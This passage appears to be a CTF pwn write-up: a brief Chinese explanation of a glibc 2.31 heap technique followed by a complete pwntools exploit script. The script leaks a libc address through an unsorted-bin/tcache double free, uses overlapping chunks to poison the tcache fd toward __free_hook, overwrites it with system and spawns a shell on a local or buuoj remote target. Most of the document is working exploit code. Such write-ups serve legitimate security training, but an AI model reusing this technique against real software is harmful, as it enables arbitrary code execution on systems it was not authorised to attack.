}

unsorted bin中的堆重复释放到tcache中,就可以利用这个堆泄露libc地址,并且将tcache中的堆和unsorted bin中的堆都申请出来就可以造成堆块复用,其中一个释放到tcache再用另一个改fdfree_hook最后申请出来改成system

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
r = remote('node4.buuoj.cn', 26870)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

def add(num):
r.sendlineafter(b'choose:', b'1')
r.sendlineafter(b'num:', str(num))

def edit(num, content):
r.sendlineafter(b'choose:', b'2')
r.sendlineafter(b'num:', str(num))
r.sendlineafter(b'read:', content)

def show(num):
r.sendlineafter(b'choose:', b'3')
r.sendlineafter(b'num:', str(num))

def delete(num):
r.sendlineafter(b'choose:', b'4')
r.sendlineafter(b'num:', str(num))

for i in range(10):
add(i)
for i in range(9):
delete(i)

add(10)
delete(8)

for i in range(8):
add(i)

show(0)

libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1ecbe0
libc = ELF('./libc-2.31.so')
system = libc.sym['system'] + libc_base
free_hook = libc_base + libc.sym['__free_hook']

add(8)

delete(1)
delete(8)

edit(0, p64(free_hook))

add(11)
edit(11, b'/bin/sh\x00')

add(12)
edit(12, p64(system))

delete(11)

r.interactive()